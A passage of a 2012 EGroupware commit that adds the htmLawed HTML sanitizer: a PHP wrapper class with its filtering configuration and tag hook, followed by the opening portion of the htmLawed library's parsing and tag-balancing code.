* API: introduce htmLawed by Santosh Patnaik into EGroupware. Its planned to replace htmlPurifier with htmLawed as htmLawed provides better configurability, needs less resources and is a lot faster;

This commit is contained in:
Klaus Leithoff 2012-04-12 13:35:28 +00:00
parent d85cffb5e8
commit 9503984a4b
6 changed files with 5658 additions and 0 deletions

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<?php
/**
* eGroupWare API: egw class to include (and configure (basic)) htmLawed by Santosh Patnaik
*
* @link http://www.egroupware.org
* @license http://opensource.org/licenses/gpl-license.php GPL - GNU General Public License
* @package api
* @subpackage htmLawed
* @author Klaus Leithoff <kl-AT-stylite.de>
* @version $Id$
*/
require_once(EGW_API_INC.'/htmLawed/htmLawed.php');
/**
* This class does NOT use anything EGroupware specific, it just calls htmLawed and supports autoloading
* while matching egw namespace requirements. It also provides (as a non class function ) a hook_tag function
* to do further tag / attribute validation
*/
class egw_htmLawed
{
/**
* config options see constructor
*
* @var Configuration
*/
var $Configuration;
/**
* The $spec argument can be used to disallow an otherwise legal attribute for an element,
* or to restrict the attribute's values. This can also be helpful as a security measure
* (e.g., in certain versions of browsers, certain values can cause buffer overflows and
* denial of service attacks), or in enforcing admin policy compliance. $spec is specified
* as a string of text containing one or more rules, with multiple rules separated from each
* other by a semi-colon (;)
*
* @var Spec
*/
var $Spec;
/**
* Constructor
*/
function __construct()
{
// may hold some Standard configuration
/*
$cfg = array(
'abs_url'=>array('3', '0', 'absolute/relative URL conversion', '-1'),
'and_mark'=>array('2', '0', 'mark original <em>&amp;</em> chars', '0', 'd'=>1), // 'd' to disable
'anti_link_spam'=>array('1', '0', 'modify <em>href</em> values as an anti-link spam measure', '0', array(array('30', '1', '', 'regex for extra <em>rel</em>'), array('30', '2', '', 'regex for no <em>href</em>'))),
'anti_mail_spam'=>array('1', '0', 'replace <em>@</em> in <em>mailto:</em> URLs', '0', '8', 'NO@SPAM', 'replacement'),
'balance'=>array('2', '1', 'fix nestings and balance tags', '0'),
'base_url'=>array('', '', 'base URL', '25'),
'cdata'=>array('4', 'nil', 'allow <em>CDATA</em> sections', 'nil'),
'clean_ms_char'=>array('3', '0', 'replace bad characters introduced by Microsoft apps. like <em>Word</em>', '0'),
'comment'=>array('4', 'nil', 'allow HTML comments', 'nil'),
'css_expression'=>array('2', 'nil', 'allow dynamic expressions in CSS style properties', 'nil'),
'deny_attribute'=>array('1', '0', 'denied attributes', '0', '50', '', 'these'),
'direct_list_nest'=>array('2', 'nil', 'allow direct nesting of a list within another without requiring it to be a list item', 'nil'),
'elements'=>array('', '', 'allowed elements', '50'),
'hexdec_entity'=>array('3', '1', 'convert hexadecimal numeric entities to decimal ones, or vice versa', '0'),
'hook'=>array('', '', 'name of hook function', '25'),
'hook_tag'=>array('', '', 'name of custom function to further check attribute values', '25'),
'keep_bad'=>array('7', '6', 'keep, or remove <em>bad</em> tag content', '0'),
'lc_std_val'=>array('2', '1', 'lower-case std. attribute values like <em>radio</em>', '0'),
'make_tag_strict'=>array('3', 'nil', 'transform deprecated elements', 'nil'),
'named_entity'=>array('2', '1', 'allow named entities, or convert numeric ones', '0'),
'no_deprecated_attr'=>array('3', '1', 'allow deprecated attributes, or transform them', '0'),
'parent'=>array('', 'div', 'name of parent element', '25'),
'safe'=>array('2', '0', 'for most <em>safe</em> HTML', '0'),
'schemes'=>array('', 'href: aim, feed, file, ftp, gopher, http, https, irc, mailto, news, nntp, sftp, ssh, telnet; *:file, http, https', 'allowed URL protocols', '50'),
'show_setting'=>array('', 'htmLawed_setting', 'variable name to record <em>finalized</em> htmLawed settings', '25', 'd'=>1),
'style_pass'=>array('2', 'nil', 'do not look at <em>style</em> attribute values', 'nil'),
'tidy'=>array('3', '0', 'beautify/compact', '-1', '8', '1t1', 'format'),
'unique_ids'=>array('2', '1', 'unique <em>id</em> values', '0', '8', 'my_', 'prefix'),
'valid_xhtml'=>array('2', 'nil', 'auto-set various parameters for most valid XHTML', 'nil'),
'xml:lang'=>array('3', 'nil', 'auto-add <em>xml:lang</em> attribute', '0'),
);
*/
$this->Configuration = array('comment'=>0,
'balance'=>1,
'tidy'=>1,
'elements' => "* -script",
'schemes'=>'href: file, ftp, http, https, mailto; src: cid, data, file, ftp, http, https; *:file, http, https',
'hook_tag' =>"hl_my_tag_transform",
);
$this->Spec = 'img=alt(noneof="image"/default="")';
}
/**
* egw_htmlLawed
*
* @param varchar $html2check =text input Text to check
* @param mixed $Config = text or array
* @param mixed $Spec =text or array; The '$spec' argument can be used to disallow an otherwise legal attribute for an element
* @return varchar cleaned/fixed html
*/
function egw_htmLawed($html2check, $Config=null, $Spec=array())
{
if (is_array($Config) && is_array($this->Configuration)) $Config = array_merge($this->Configuration, $Config);
if (empty($Config)) $Config = $this->Configuration;
if (empty($Spec)) $Spec = $this->Spec;
return htmLawed($html2check, $Config, $Spec);
}
}
/**
* hl_my_tag_transform
*
* function to provide individual checks for element attribute pairs
* implemented so far: img checking for alt attribute == image; set this to empty
*/
function hl_my_tag_transform($element, $attribute_array)
{
//error_log(__METHOD__.__LINE__." ".$element.'->'.array2string($attribute_array));
// Elements other than 'img' or 'img' without a 'img' attribute are returned unchanged
if($element == 'img' && isset($attribute_array['alt']))
{
// Re-build 'alt'
$attribute_array['alt'] = ($attribute_array['alt']=='image'?'':$attribute_array['alt']);
}
/*
// Elements other than 'span' or 'span' without a 'style' attribute are returned unchanged
if($element == 'span' && isset($attribute_array['style']))
{
// Identify CSS properties and values
$css = explode(';', $attribute_array['style']);
$style = array();
foreach($css as $v){
if(($p = strpos($v, ':')) > 1 && $p < strlen($v)){
$css_property_name = trim(substr($v, 0, $p));
$css_property_value = trim(substr($v, $p+1));
$style[] = "$css_property_name: $css_property_value";
}
}
// Alter the CSS property as required
// Black Arial must be at a font-size of 24
if(isset($style['font-family']) && $style['font-family'] == 'Arial' && isset($style['color']) && $style['color'] == '#000000'){
$style['font-size'] == '24';
}
// And so on for other criteria
// ...
// Re-build 'style'
$attribute_array['style'] = implode('; ', $style);
}
*/
// Build the attributes string
$attributes = '';
foreach($attribute_array as $k=>$v){
$attributes .= " {$k}=\"{$v}\"";
}
// Return the opening tag with attributes
static $empty_elements = array('area'=>1, 'br'=>1, 'col'=>1, 'embed'=>1, 'hr'=>1, 'img'=>1, 'input'=>1, 'isindex'=>1, 'param'=>1);
return "<{$element}{$attributes}". (isset($empty_elements[$element]) ? ' /' : ''). '>';
}

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<?php
/*
htmLawed 1.1.10, 5 April 2012
Copyright Santosh Patnaik
Dual licensed with LGPL 3 and GPL 2 or later
A PHP Labware internal utility; www.bioinformatics.org/phplabware/internal_utilities/htmLawed
See htmLawed_README.txt/htm
*/
function htmLawed($t, $C=1, $S=array()){
$C = is_array($C) ? $C : array();
if(!empty($C['valid_xhtml'])){
$C['elements'] = empty($C['elements']) ? '*-center-dir-font-isindex-menu-s-strike-u' : $C['elements'];
$C['make_tag_strict'] = isset($C['make_tag_strict']) ? $C['make_tag_strict'] : 2;
$C['xml:lang'] = isset($C['xml:lang']) ? $C['xml:lang'] : 2;
}
// config eles
$e = array('a'=>1, 'abbr'=>1, 'acronym'=>1, 'address'=>1, 'applet'=>1, 'area'=>1, 'b'=>1, 'bdo'=>1, 'big'=>1, 'blockquote'=>1, 'br'=>1, 'button'=>1, 'caption'=>1, 'center'=>1, 'cite'=>1, 'code'=>1, 'col'=>1, 'colgroup'=>1, 'dd'=>1, 'del'=>1, 'dfn'=>1, 'dir'=>1, 'div'=>1, 'dl'=>1, 'dt'=>1, 'em'=>1, 'embed'=>1, 'fieldset'=>1, 'font'=>1, 'form'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'i'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'ins'=>1, 'isindex'=>1, 'kbd'=>1, 'label'=>1, 'legend'=>1, 'li'=>1, 'map'=>1, 'menu'=>1, 'noscript'=>1, 'object'=>1, 'ol'=>1, 'optgroup'=>1, 'option'=>1, 'p'=>1, 'param'=>1, 'pre'=>1, 'q'=>1, 'rb'=>1, 'rbc'=>1, 'rp'=>1, 'rt'=>1, 'rtc'=>1, 'ruby'=>1, 's'=>1, 'samp'=>1, 'script'=>1, 'select'=>1, 'small'=>1, 'span'=>1, 'strike'=>1, 'strong'=>1, 'sub'=>1, 'sup'=>1, 'table'=>1, 'tbody'=>1, 'td'=>1, 'textarea'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1, 'tt'=>1, 'u'=>1, 'ul'=>1, 'var'=>1); // 86/deprecated+embed+ruby
if(!empty($C['safe'])){
unset($e['applet'], $e['embed'], $e['iframe'], $e['object'], $e['script']);
}
$x = !empty($C['elements']) ? str_replace(array("\n", "\r", "\t", ' '), '', $C['elements']) : '*';
if($x == '-*'){$e = array();}
elseif(strpos($x, '*') === false){$e = array_flip(explode(',', $x));}
else{
if(isset($x[1])){
preg_match_all('`(?:^|-|\+)[^\-+]+?(?=-|\+|$)`', $x, $m, PREG_SET_ORDER);
for($i=count($m); --$i>=0;){$m[$i] = $m[$i][0];}
foreach($m as $v){
if($v[0] == '+'){$e[substr($v, 1)] = 1;}
if($v[0] == '-' && isset($e[($v = substr($v, 1))]) && !in_array('+'. $v, $m)){unset($e[$v]);}
}
}
}
$C['elements'] =& $e;
// config attrs
$x = !empty($C['deny_attribute']) ? str_replace(array("\n", "\r", "\t", ' '), '', $C['deny_attribute']) : '';
$x = array_flip((isset($x[0]) && $x[0] == '*') ? explode('-', $x) : explode(',', $x. (!empty($C['safe']) ? ',on*' : '')));
if(isset($x['on*'])){
unset($x['on*']);
$x += array('onblur'=>1, 'onchange'=>1, 'onclick'=>1, 'ondblclick'=>1, 'onfocus'=>1, 'onkeydown'=>1, 'onkeypress'=>1, 'onkeyup'=>1, 'onmousedown'=>1, 'onmousemove'=>1, 'onmouseout'=>1, 'onmouseover'=>1, 'onmouseup'=>1, 'onreset'=>1, 'onselect'=>1, 'onsubmit'=>1);
}
$C['deny_attribute'] = $x;
// config URL
$x = (isset($C['schemes'][2]) && strpos($C['schemes'], ':')) ? strtolower($C['schemes']) : 'href: aim, feed, file, ftp, gopher, http, https, irc, mailto, news, nntp, sftp, ssh, telnet; *:file, http, https';
$C['schemes'] = array();
foreach(explode(';', str_replace(array(' ', "\t", "\r", "\n"), '', $x)) as $v){
$x = $x2 = null; list($x, $x2) = explode(':', $v, 2);
if($x2){$C['schemes'][$x] = array_flip(explode(',', $x2));}
}
if(!isset($C['schemes']['*'])){$C['schemes']['*'] = array('file'=>1, 'http'=>1, 'https'=>1,);}
if(!empty($C['safe']) && empty($C['schemes']['style'])){$C['schemes']['style'] = array('!'=>1);}
$C['abs_url'] = isset($C['abs_url']) ? $C['abs_url'] : 0;
if(!isset($C['base_url']) or !preg_match('`^[a-zA-Z\d.+\-]+://[^/]+/(.+?/)?$`', $C['base_url'])){
$C['base_url'] = $C['abs_url'] = 0;
}
// config rest
$C['and_mark'] = empty($C['and_mark']) ? 0 : 1;
$C['anti_link_spam'] = (isset($C['anti_link_spam']) && is_array($C['anti_link_spam']) && count($C['anti_link_spam']) == 2 && (empty($C['anti_link_spam'][0]) or hl_regex($C['anti_link_spam'][0])) && (empty($C['anti_link_spam'][1]) or hl_regex($C['anti_link_spam'][1]))) ? $C['anti_link_spam'] : 0;
$C['anti_mail_spam'] = isset($C['anti_mail_spam']) ? $C['anti_mail_spam'] : 0;
$C['balance'] = isset($C['balance']) ? (bool)$C['balance'] : 1;
$C['cdata'] = isset($C['cdata']) ? $C['cdata'] : (empty($C['safe']) ? 3 : 0);
$C['clean_ms_char'] = empty($C['clean_ms_char']) ? 0 : $C['clean_ms_char'];
$C['comment'] = isset($C['comment']) ? $C['comment'] : (empty($C['safe']) ? 3 : 0);
$C['css_expression'] = empty($C['css_expression']) ? 0 : 1;
$C['direct_list_nest'] = empty($C['direct_list_nest']) ? 0 : 1;
$C['hexdec_entity'] = isset($C['hexdec_entity']) ? $C['hexdec_entity'] : 1;
$C['hook'] = (!empty($C['hook']) && function_exists($C['hook'])) ? $C['hook'] : 0;
$C['hook_tag'] = (!empty($C['hook_tag']) && function_exists($C['hook_tag'])) ? $C['hook_tag'] : 0;
$C['keep_bad'] = isset($C['keep_bad']) ? $C['keep_bad'] : 6;
$C['lc_std_val'] = isset($C['lc_std_val']) ? (bool)$C['lc_std_val'] : 1;
$C['make_tag_strict'] = isset($C['make_tag_strict']) ? $C['make_tag_strict'] : 1;
$C['named_entity'] = isset($C['named_entity']) ? (bool)$C['named_entity'] : 1;
$C['no_deprecated_attr'] = isset($C['no_deprecated_attr']) ? $C['no_deprecated_attr'] : 1;
$C['parent'] = isset($C['parent'][0]) ? strtolower($C['parent']) : 'body';
$C['show_setting'] = !empty($C['show_setting']) ? $C['show_setting'] : 0;
$C['style_pass'] = empty($C['style_pass']) ? 0 : 1;
$C['tidy'] = empty($C['tidy']) ? 0 : $C['tidy'];
$C['unique_ids'] = isset($C['unique_ids']) ? $C['unique_ids'] : 1;
$C['xml:lang'] = isset($C['xml:lang']) ? $C['xml:lang'] : 0;
if(isset($GLOBALS['C'])){$reC = $GLOBALS['C'];}
$GLOBALS['C'] = $C;
$S = is_array($S) ? $S : hl_spec($S);
if(isset($GLOBALS['S'])){$reS = $GLOBALS['S'];}
$GLOBALS['S'] = $S;
$t = preg_replace('`[\x00-\x08\x0b-\x0c\x0e-\x1f]`', '', $t);
if($C['clean_ms_char']){
$x = array("\x7f"=>'', "\x80"=>'&#8364;', "\x81"=>'', "\x83"=>'&#402;', "\x85"=>'&#8230;', "\x86"=>'&#8224;', "\x87"=>'&#8225;', "\x88"=>'&#710;', "\x89"=>'&#8240;', "\x8a"=>'&#352;', "\x8b"=>'&#8249;', "\x8c"=>'&#338;', "\x8d"=>'', "\x8e"=>'&#381;', "\x8f"=>'', "\x90"=>'', "\x95"=>'&#8226;', "\x96"=>'&#8211;', "\x97"=>'&#8212;', "\x98"=>'&#732;', "\x99"=>'&#8482;', "\x9a"=>'&#353;', "\x9b"=>'&#8250;', "\x9c"=>'&#339;', "\x9d"=>'', "\x9e"=>'&#382;', "\x9f"=>'&#376;');
$x = $x + ($C['clean_ms_char'] == 1 ? array("\x82"=>'&#8218;', "\x84"=>'&#8222;', "\x91"=>'&#8216;', "\x92"=>'&#8217;', "\x93"=>'&#8220;', "\x94"=>'&#8221;') : array("\x82"=>'\'', "\x84"=>'"', "\x91"=>'\'', "\x92"=>'\'', "\x93"=>'"', "\x94"=>'"'));
$t = strtr($t, $x);
}
if($C['cdata'] or $C['comment']){$t = preg_replace_callback('`<!(?:(?:--.*?--)|(?:\[CDATA\[.*?\]\]))>`sm', 'hl_cmtcd', $t);}
$t = preg_replace_callback('`&amp;([A-Za-z][A-Za-z0-9]{1,30}|#(?:[0-9]{1,8}|[Xx][0-9A-Fa-f]{1,7}));`', 'hl_ent', str_replace('&', '&amp;', $t));
if($C['unique_ids'] && !isset($GLOBALS['hl_Ids'])){$GLOBALS['hl_Ids'] = array();}
if($C['hook']){$t = $C['hook']($t, $C, $S);}
if($C['show_setting'] && preg_match('`^[a-z][a-z0-9_]*$`i', $C['show_setting'])){
$GLOBALS[$C['show_setting']] = array('config'=>$C, 'spec'=>$S, 'time'=>microtime());
}
// main
$t = preg_replace_callback('`<(?:(?:\s|$)|(?:[^>]*(?:>|$)))|>`m', 'hl_tag', $t);
$t = $C['balance'] ? hl_bal($t, $C['keep_bad'], $C['parent']) : $t;
$t = (($C['cdata'] or $C['comment']) && strpos($t, "\x01") !== false) ? str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05"), array('', '', '&', '<', '>'), $t) : $t;
$t = $C['tidy'] ? hl_tidy($t, $C['tidy'], $C['parent']) : $t;
unset($C, $e);
if(isset($reC)){$GLOBALS['C'] = $reC;}
if(isset($reS)){$GLOBALS['S'] = $reS;}
return $t;
// eof
}
function hl_attrval($t, $p){
// check attr val against $S
$o = 1; $l = strlen($t);
foreach($p as $k=>$v){
switch($k){
case 'maxlen':if($l > $v){$o = 0;}
break; case 'minlen': if($l < $v){$o = 0;}
break; case 'maxval': if((float)($t) > $v){$o = 0;}
break; case 'minval': if((float)($t) < $v){$o = 0;}
break; case 'match': if(!preg_match($v, $t)){$o = 0;}
break; case 'nomatch': if(preg_match($v, $t)){$o = 0;}
break; case 'oneof':
$m = 0;
foreach(explode('|', $v) as $n){if($t == $n){$m = 1; break;}}
$o = $m;
break; case 'noneof':
$m = 1;
foreach(explode('|', $v) as $n){if($t == $n){$m = 0; break;}}
$o = $m;
break; default:
break;
}
if(!$o){break;}
}
return ($o ? $t : (isset($p['default']) ? $p['default'] : 0));
// eof
}
function hl_bal($t, $do=1, $in='div'){
// balance tags
// by content
$cB = array('blockquote'=>1, 'form'=>1, 'map'=>1, 'noscript'=>1); // Block
$cE = array('area'=>1, 'br'=>1, 'col'=>1, 'embed'=>1, 'hr'=>1, 'img'=>1, 'input'=>1, 'isindex'=>1, 'param'=>1); // Empty
$cF = array('button'=>1, 'del'=>1, 'div'=>1, 'dd'=>1, 'fieldset'=>1, 'iframe'=>1, 'ins'=>1, 'li'=>1, 'noscript'=>1, 'object'=>1, 'td'=>1, 'th'=>1); // Flow; later context-wise dynamic move of ins & del to $cI
$cI = array('a'=>1, 'abbr'=>1, 'acronym'=>1, 'address'=>1, 'b'=>1, 'bdo'=>1, 'big'=>1, 'caption'=>1, 'cite'=>1, 'code'=>1, 'dfn'=>1, 'dt'=>1, 'em'=>1, 'font'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'i'=>1, 'kbd'=>1, 'label'=>1, 'legend'=>1, 'p'=>1, 'pre'=>1, 'q'=>1, 'rb'=>1, 'rt'=>1, 's'=>1, 'samp'=>1, 'small'=>1, 'span'=>1, 'strike'=>1, 'strong'=>1, 'sub'=>1, 'sup'=>1, 'tt'=>1, 'u'=>1, 'var'=>1); // Inline
$cN = array('a'=>array('a'=>1), 'button'=>array('a'=>1, 'button'=>1, 'fieldset'=>1, 'form'=>1, 'iframe'=>1, 'input'=>1, 'label'=>1, 'select'=>1, 'textarea'=>1), 'fieldset'=>array('fieldset'=>1), 'form'=>array('form'=>1), 'label'=>array('label'=>1), 'noscript'=>array('script'=>1), 'pre'=>array('big'=>1, 'font'=>1, 'img'=>1, 'object'=>1, 'script'=>1, 'small'=>1, 'sub'=>1, 'sup'=>1), 'rb'=>array('ruby'=>1), 'rt'=>array('ruby'=>1)); // Illegal
$cN2 = array_keys($cN);
$cR = array('blockquote'=>1, 'dir'=>1, 'dl'=>1, 'form'=>1, 'map'=>1, 'menu'=>1, 'noscript'=>1, 'ol'=>1, 'optgroup'=>1, 'rbc'=>1, 'rtc'=>1, 'ruby'=>1, 'select'=>1, 'table'=>1, 'tbody'=>1, 'tfoot'=>1, 'thead'=>1, 'tr'=>1, 'ul'=>1);
$cS = array('colgroup'=>array('col'=>1), 'dir'=>array('li'=>1), 'dl'=>array('dd'=>1, 'dt'=>1), 'menu'=>array('li'=>1), 'ol'=>array('li'=>1), 'optgroup'=>array('option'=>1), 'option'=>array('#pcdata'=>1), 'rbc'=>array('rb'=>1), 'rp'=>array('#pcdata'=>1), 'rtc'=>array('rt'=>1), 'ruby'=>array('rb'=>1, 'rbc'=>1, 'rp'=>1, 'rt'=>1, 'rtc'=>1), 'select'=>array('optgroup'=>1, 'option'=>1), 'script'=>array('#pcdata'=>1), 'table'=>array('caption'=>1, 'col'=>1, 'colgroup'=>1, 'tfoot'=>1, 'tbody'=>1, 'tr'=>1, 'thead'=>1), 'tbody'=>array('tr'=>1), 'tfoot'=>array('tr'=>1), 'textarea'=>array('#pcdata'=>1), 'thead'=>array('tr'=>1), 'tr'=>array('td'=>1, 'th'=>1), 'ul'=>array('li'=>1)); // Specific - immediate parent-child
if($GLOBALS['C']['direct_list_nest']){$cS['ol'] = $cS['ul'] += array('ol'=>1, 'ul'=>1);}
$cO = array('address'=>array('p'=>1), 'applet'=>array('param'=>1), 'blockquote'=>array('script'=>1), 'fieldset'=>array('legend'=>1, '#pcdata'=>1), 'form'=>array('script'=>1), 'map'=>array('area'=>1), 'object'=>array('param'=>1, 'embed'=>1)); // Other
$cT = array('colgroup'=>1, 'dd'=>1, 'dt'=>1, 'li'=>1, 'option'=>1, 'p'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1); // Omitable closing
// block/inline type; ins & del both type; #pcdata: text
$eB = array('address'=>1, 'blockquote'=>1, 'center'=>1, 'del'=>1, 'dir'=>1, 'dl'=>1, 'div'=>1, 'fieldset'=>1, 'form'=>1, 'ins'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'isindex'=>1, 'menu'=>1, 'noscript'=>1, 'ol'=>1, 'p'=>1, 'pre'=>1, 'table'=>1, 'ul'=>1);
$eI = array('#pcdata'=>1, 'a'=>1, 'abbr'=>1, 'acronym'=>1, 'applet'=>1, 'b'=>1, 'bdo'=>1, 'big'=>1, 'br'=>1, 'button'=>1, 'cite'=>1, 'code'=>1, 'del'=>1, 'dfn'=>1, 'em'=>1, 'embed'=>1, 'font'=>1, 'i'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'ins'=>1, 'kbd'=>1, 'label'=>1, 'map'=>1, 'object'=>1, 'q'=>1, 'ruby'=>1, 's'=>1, 'samp'=>1, 'select'=>1, 'script'=>1, 'small'=>1, 'span'=>1, 'strike'=>1, 'strong'=>1, 'sub'=>1, 'sup'=>1, 'textarea'=>1, 'tt'=>1, 'u'=>1, 'var'=>1);
$eN = array('a'=>1, 'big'=>1, 'button'=>1, 'fieldset'=>1, 'font'=>1, 'form'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'label'=>1, 'object'=>1, 'ruby'=>1, 'script'=>1, 'select'=>1, 'small'=>1, 'sub'=>1, 'sup'=>1, 'textarea'=>1); // Exclude from specific ele; $cN values
$eO = array('area'=>1, 'caption'=>1, 'col'=>1, 'colgroup'=>1, 'dd'=>1, 'dt'=>1, 'legend'=>1, 'li'=>1, 'optgroup'=>1, 'option'=>1, 'param'=>1, 'rb'=>1, 'rbc'=>1, 'rp'=>1, 'rt'=>1, 'rtc'=>1, 'script'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'thead'=>1, 'th'=>1, 'tr'=>1); // Missing in $eB & $eI
$eF = $eB + $eI;
// $in sets allowed child
$in = ((isset($eF[$in]) && $in != '#pcdata') or isset($eO[$in])) ? $in : 'div';
if(isset($cE[$in])){
return (!$do ? '' : str_replace(array('<', '>'), array('&lt;', '&gt;'), $t));
}
if(isset($cS[$in])){$inOk = $cS[$in];}
elseif(isset($cI[$in])){$inOk = $eI; $cI['del'] = 1; $cI['ins'] = 1;}
elseif(isset($cF[$in])){$inOk = $eF; unset($cI['del'], $cI['ins']);}
elseif(isset($cB[$in])){$inOk = $eB; unset($cI['del'], $cI['ins']);}
if(isset($cO[$in])){$inOk = $inOk + $cO[$in];}
if(isset($cN[$in])){$inOk = array_diff_assoc($inOk, $cN[$in]);}
$t = explode('<', $t);
$ok = $q = array(); // $q seq list of open non-empty ele
ob_start();
for($i=-1, $ci=count($t); ++$i<$ci;){
// allowed $ok in parent $p
if($ql = count($q)){
$p = array_pop($q);
$q[] = $p;
if(isset($cS[$p])){$ok = $cS[$p];}
elseif(isset($cI[$p])){$ok = $eI; $cI['del'] = 1; $cI['ins'] = 1;}
elseif(isset($cF[$p])){$ok = $eF; unset($cI['del'], $cI['ins']);}
elseif(isset($cB[$p])){$ok = $eB; unset($cI['del'], $cI['ins']);}
if(isset($cO[$p])){$ok = $ok + $cO[$p];}
if(isset($cN[$p])){$ok = array_diff_assoc($ok, $cN[$p]);}
}else{$ok = $inOk; unset($cI['del'], $cI['ins']);}
// bad tags, & ele content
if(isset($e) && ($do == 1 or (isset($ok['#pcdata']) && ($do == 3 or $do == 5)))){
echo '&lt;', $s, $e, $a, '&gt;';
}
if(isset($x[0])){
if($do < 3 or isset($ok['#pcdata'])){echo $x;}
elseif(strpos($x, "\x02\x04")){
foreach(preg_split('`(\x01\x02[^\x01\x02]+\x02\x01)`', $x, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY) as $v){
echo (substr($v, 0, 2) == "\x01\x02" ? $v : ($do > 4 ? preg_replace('`\S`', '', $v) : ''));
}
}elseif($do > 4){echo preg_replace('`\S`', '', $x);}
}
// get markup
if(!preg_match('`^(/?)([a-zA-Z1-6]+)([^>]*)>(.*)`sm', $t[$i], $r)){$x = $t[$i]; continue;}
$s = null; $e = null; $a = null; $x = null; list($all, $s, $e, $a, $x) = $r;
// close tag
if($s){
if(isset($cE[$e]) or !in_array($e, $q)){continue;} // Empty/unopen
if($p == $e){array_pop($q); echo '</', $e, '>'; unset($e); continue;} // Last open
$add = ''; // Nesting - close open tags that need to be
for($j=-1, $cj=count($q); ++$j<$cj;){
if(($d = array_pop($q)) == $e){break;}
else{$add .= "</{$d}>";}
}
echo $add, '</', $e, '>'; unset($e); continue;
}
// open tag
// $cB ele needs $eB ele as child
if(isset($cB[$e]) && strlen(trim($x))){
$t[$i] = "{$e}{$a}>";
array_splice($t, $i+1, 0, 'div>'. $x); unset($e, $x); ++$ci; --$i; continue;
}
if((($ql && isset($cB[$p])) or (isset($cB[$in]) && !$ql)) && !isset($eB[$e]) && !isset($ok[$e])){
array_splice($t, $i, 0, 'div>'); unset($e, $x); ++$ci; --$i; continue;
}
// if no open ele, $in = parent; mostly immediate parent-child relation should hold
if(!$ql or !isset($eN[$e]) or !array_intersect($q, $cN2)){
if(!isset($ok[$e])){
if($ql && isset($cT[$p])){echo '</', array_pop($q), '>'; unset($e, $x); --$i;}
continue;
}
if(!isset($cE[$e])){$q[] = $e;}
echo '<', $e, $a, '>'; unset($e); continue;
}
// specific parent-child
if(isset($cS[$p][$e])){
if(!isset($cE[$e])){$q[] = $e;}
echo '<', $e, $a, '>'; unset($e); continue;
}
// nesting
$add = '';
$q2 = array();
for($k=-1, $kc=count($q); ++$k<$kc;){
$d = $q[$k];
$ok2 = array();
if(isset($cS[$d])){$q2[] = $d; continue;}
$ok2 = isset($cI[$d]) ? $eI : $eF;
if(isset($cO[$d])){$ok2 = $ok2 + $cO[$d];}
if(isset($cN[$d])){$ok2 = array_diff_assoc($ok2, $cN[$d]);}
if(!isset($ok2[$e])){
if(!$k && !isset($inOk[$e])){continue 2;}
$add = "</{$d}>";
for(;++$k<$kc;){$add = "</{$q[$k]}>{$add}";}
break;
}
else{$q2[] = $d;}
}
$q = $q2;
if(!isset($cE[$e])){$q[] = $e;}
echo $add, '<', $e, $a, '>'; unset($e); continue;
}
// end
if($ql = count($q)){
$p = array_pop($q);
$q[] = $p;
if(isset($cS[$p])){$ok = $cS[$p];}
elseif(isset($cI[$p])){$ok = $eI; $cI['del'] = 1; $cI['ins'] = 1;}
elseif(isset($cF[$p])){$ok = $eF; unset($cI['del'], $cI['ins']);}
elseif(isset($cB[$p])){$ok = $eB; unset($cI['del'], $cI['ins']);}
if(isset($cO[$p])){$ok = $ok + $cO[$p];}
if(isset($cN[$p])){$ok = array_diff_assoc($ok, $cN[$p]);}
}else{$ok = $inOk; unset($cI['del'], $cI['ins']);}
if(isset($e) && ($do == 1 or (isset($ok['#pcdata']) && ($do == 3 or $do == 5)))){
echo '&lt;', $s, $e, $a, '&gt;';
}
if(isset($x[0])){
if(strlen(trim($x)) && (($ql && isset($cB[$p])) or (isset($cB[$in]) && !$ql))){
echo '<div>', $x, '</div>';
}
elseif($do < 3 or isset($ok['#pcdata'])){echo $x;}
elseif(strpos($x, "\x02\x04")){
foreach(preg_split('`(\x01\x02[^\x01\x02]+\x02\x01)`', $x, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY) as $v){
echo (substr($v, 0, 2) == "\x01\x02" ? $v : ($do > 4 ? preg_replace('`\S`', '', $v) : ''));
}
}elseif($do > 4){echo preg_replace('`\S`', '', $x);}
}
while(!empty($q) && ($e = array_pop($q))){echo '</', $e, '>';}
$o = ob_get_contents();
ob_end_clean();
return $o;
// eof
}
function hl_cmtcd($t){
// comment/CDATA sec handler
$t = $t[0];
global $C;
if(!($v = $C[$n = $t[3] == '-' ? 'comment' : 'cdata'])){return $t;}
if($v == 1){return '';}
if($n == 'comment'){
if(substr(($t = preg_replace('`--+`', '-', substr($t, 4, -3))), -1) != ' '){$t .= ' ';}
}
else{$t = substr($t, 1, -1);}
$t = $v == 2 ? str_replace(array('&', '<', '>'), array('&amp;', '&lt;', '&gt;'), $t) : $t;
return str_replace(array('&', '<', '>'), array("\x03", "\x04", "\x05"), ($n == 'comment' ? "\x01\x02\x04!--$t--\x05\x02\x01" : "\x01\x01\x04$t\x05\x01\x01"));
// eof
}
function hl_ent($t){
// entitity handler
global $C;
$t = $t[1];
static $U = array('quot'=>1,'amp'=>1,'lt'=>1,'gt'=>1);
